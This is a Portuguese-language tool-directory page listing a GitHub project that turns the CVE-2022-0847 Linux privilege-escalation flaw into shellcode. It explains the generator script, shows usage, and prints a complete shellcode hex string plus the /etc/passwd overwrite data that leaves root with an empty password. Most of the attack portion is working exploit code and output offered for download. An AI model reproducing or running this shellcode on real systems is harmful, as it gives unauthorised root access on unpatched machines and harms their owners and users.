Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve_2022_0847_shellcode — Implementação do CVE-2022-0847 como um shellcode | Kitploit
Ferramentas/GitHubGitHub/shotokhan/cve_2022_0847_shellcode
Escalada de PrivilégiosGeração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeExploração de Binários
GitHubshotokhan/cve_2022_0847_shellcode

cve_2022_0847_shellcode

Implementação do CVE-2022-0847 como um shellcode

Ver Repositório
32há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

cve_2022_0847_shellcode

Descrição

Este repositório contém um script Python (gen_shellcode.py), baseado em pwntools, para gerar um shellcode que implementa CVE-2022-0847.
O shellcode é baseado neste PoC: antx.
Analisei o código do PoC e sua execução com strace para capturar todas as chamadas de sistema necessárias para fazer o exploit, e inicialmente escrevi um programa C que usa syscall.h; ele ainda não era adequado para um shellcode, mas é bom como referência, então o incluí aqui (tiny_cve-2022-0847.c).
A função que gera o shellcode recebe 3 parâmetros: caminho do arquivo a ser escrito, dados a serem escritos e deslocamento no qual os dados devem ser escritos.
Um exemplo de shellcode gerado, no formato de desmontagem do objdump, pode ser encontrado em shellcode.asm; ele foi gerado com os seguintes parâmetros:

  • nome do arquivo /etc/passwd
  • dados :$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n
  • deslocamento 4

Isso deixa o root com uma senha vazia.

Uso

root@kitploit:~
$ python gen_shellcode.py 
Uso: gen_shellcode.py nome_do_arquivo dados deslocamento [verbose (qualquer valor aqui define verbose como True)]

Você pode importar a função cve_2022_0847, que gera o shellcode, para chamá-la em outros scripts, ou usar diretamente este script; existe uma função example_usage que chama cve_2022_0847 e cria um ELF com o shellcode.
A função cve_2022_0847 também realiza algumas verificações básicas de integridade, e imprime o que pode dar errado com o exploit e o shellcode desmontado se o parâmetro verbose estiver definido.
Ela retorna o shellcode montado. A função main chama cve_2022_0847 com os parâmetros da linha de comando e imprime o shellcode resultante em hex no estilo C, ou seja, sem decodificar bytes imprimíveis. Por exemplo:

root@kitploit:~
$ python gen_shellcode.py /etc/passwd ":$1$$qRPK7m23GJusamGpoGLby/:0:0::/:/bin/sh\n" 4
Shellcode resultante:
\x68\x72\x76\x65\x01\x81\x34\x24\x01\x01\x01\x01\x48\xb8\x2f\x65\x74\x63\x2f\x70\x61\x73\x50\x48\x89\xe6\x6a\x9c\x5f\x31\xd2\x31\xc0\x66\xb8\x01\x01\x0f\x05\x48\x83\xec\x10\x48\x89\xe7\x6a\x16\x58\x0f\x05\x6a\x05\x5f\x31\xf6\x66\xbe\x08\x04\x6a\x48\x58\x0f\x05\x49\x89\xc7\x4d\x89\xfe\x6a\x05\x5f\x48\x81\xec\x00\x10\x00\x00\x48\x89\xe6\x31\xd2\xb6\x10\x4d\x85\xff\x74\x0a\x6a\x01\x58\x0f\x05\x49\x29\xd7\xeb\xf1\x4d\x89\xf7\x6a\x04\x5f\x4d\x85\xff\x74\x09\x31\xc0\x0f\x05\x49\x29\xd7\xeb\xf2\x6a\x03\x45\x31\xd2\x6a\x01\x41\x58\x45\x31\xc9\x6a\x03\x5f\x6a\x05\x5a\x48\x89\xe6\x31\xc0\x66\xb8\x13\x01\x0f\x05\x48\xb8\x01\x01\x01\x01\x01\x01\x01\x01\x50\x48\xb8\x2e\x72\x69\x5d\x6f\x01\x01\x01\x48\x31\x04\x24\x48\xb8\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x50\x48\xb8\x4c\x62\x79\x2f\x3a\x30\x3a\x30\x50\x48\xb8\x75\x73\x61\x6d\x47\x70\x6f\x47\x50\x48\xb8\x50\x4b\x37\x6d\x32\x33\x47\x4a\x50\x48\xb8\x3a\x31\x36\x39\x32\x33\x71\x52\x50\x48\x89\xe6\x6a\x05\x5f\x6a\x2d\x5a\x6a\x01\x58\x0f\x05\x31\xff\x31\xc0\xb0\xe7\x0f\x05

Aviso Legal

A arquitetura suportada é apenas amd64.

Baixar ferramenta